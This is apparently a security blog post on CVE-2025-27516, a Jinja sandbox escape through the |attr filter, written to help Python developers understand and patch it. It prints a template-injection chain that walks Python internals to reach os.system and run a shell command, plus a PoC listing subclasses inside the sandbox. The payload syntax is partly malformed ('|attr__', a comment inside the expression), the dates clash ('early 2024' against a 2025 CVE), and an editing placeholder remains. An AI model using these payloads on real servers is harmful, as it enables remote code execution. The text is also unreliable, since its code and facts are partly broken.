Jinja is one of the most popular template engines in the Python ecosystem. It's foundational to Flask, Ansible, SaltStack, and many custom web applications. Jinja offers a sandbox mode that’s supposed to restrict what templates can do, reducing the risk of template injection attacks. But in early 2024, a dangerous vulnerability was uncovered and assigned CVE-2025-27516.

Here, we’ll break down how this vulnerability works, what’s at risk, see proof-of-concept code, and how to protect your apps today.

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What is CVE-2025-27516?

CVE-2025-27516 is a Remote Code Execution (RCE) bug impacting Jinja, affecting all versions before 3.1.6. The vulnerability lies in the way Jinja’s sandbox interacts with the |attr filter. An attacker who controls a template can abuse this filter to bypass the sandbox and run arbitrary Python code on the server.

Why is This Serious?

- If you allow user-submitted templates (like in some CMS, dashboards, or workflow tools), an attacker could use this bug to run code on your server.

The bug sidesteps all existing sandbox protections.

- Chaining this with other bugs or weak configs, a skilled attacker might read files, steal secrets, or even take over your infrastructure.

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How Does the Attack Work?

The root issue is that, prior to version 3.1.6, the Jinja sandbox did not correctly monitor access granted by the |attr filter.

Jinja’s Sandbox and |attr

Jinja’s sandbox watches dangerous operations, like __import__, os.system, or str.format. Normally, these are blocked when rendering untrusted templates:

# This should be harmless in the sandbox
{{ '{}'.format('Oops!') }}

But the |attr filter lets you dynamically look up an attribute — even potentially dangerous ones — and Jinja's sandbox missed restricting that correctly.

Suppose an attacker can inject this into a template

{{ '{}'
    |attr('format')
    ('Hacked!')
}}

Here, |attr('format') fetches the standard string format method, which is not sandboxed the way template variables are. Now the attacker can do even worse:

{{ ''.__class__
      |attr('__mro__')
      |attr('__getitem__')(1)
      |attr('__subclasses__')()
      |attr('__getitem__')(100)  # Offset to locate subprocess.Popen or similar
      |attr('__init__')
      |attr('__globals__')
      |attr__('os')
      |attr__('system')
      ('id > /tmp/hacked.txt')
}}

This chain walks through Python internals to ultimately execute os.system('id > /tmp/hacked.txt'), writing attacker's choosing output to disk.

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Here’s a minimal example you can run in a controlled environment (do NOT use in production)

from jinja2.sandbox import SandboxedEnvironment

# Insecure Jinja version < 3.1.6
env = SandboxedEnvironment()

template_string = "{{ '{}'.__class__ |attr('__mro__') |attr('__getitem__')(1) |attr('__subclasses__')() }}"
template = env.from_string(template_string)
print(template.render())

With a little trial and error, you can index into __subclasses__() to find dangerous classes like subprocess.Popen or _io.FileIO.

In the Wild

Any app rendering user-supplied templates (think: notebook servers, web playgrounds, workflow UIs) is at risk unless they limit which templates are allowed or have already patched Jinja.

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Jinja 3.1.6 is patched. The simplest fix is to upgrade ASAP

pip install --upgrade "jinja2>=3.1.6"

This version ensures that |attr is restricted and cannot break out of the sandbox.

If you *must* accept user templates, strictly validate and cleanup template content.

- Consider running untrusted templates in isolated or restricted runtime environments (e.g., containers with no network/file system access).

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Official References

- CVE Record at NIST
- Jinja2 GitHub Security Advisory *(adjust when advisory is public)*
- Pull request fixing the bug
- Release notes for Jinja 3.1.6

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Stay safe and patch early!

If you enjoyed or learned from this write-up, consider sharing it to raise awareness for other Python developers. 👨‍💻🛡️

Timeline

Published on: 03/05/2025 21:15:20 UTC
Last modified on: 05/01/2025 01:15:53 UTC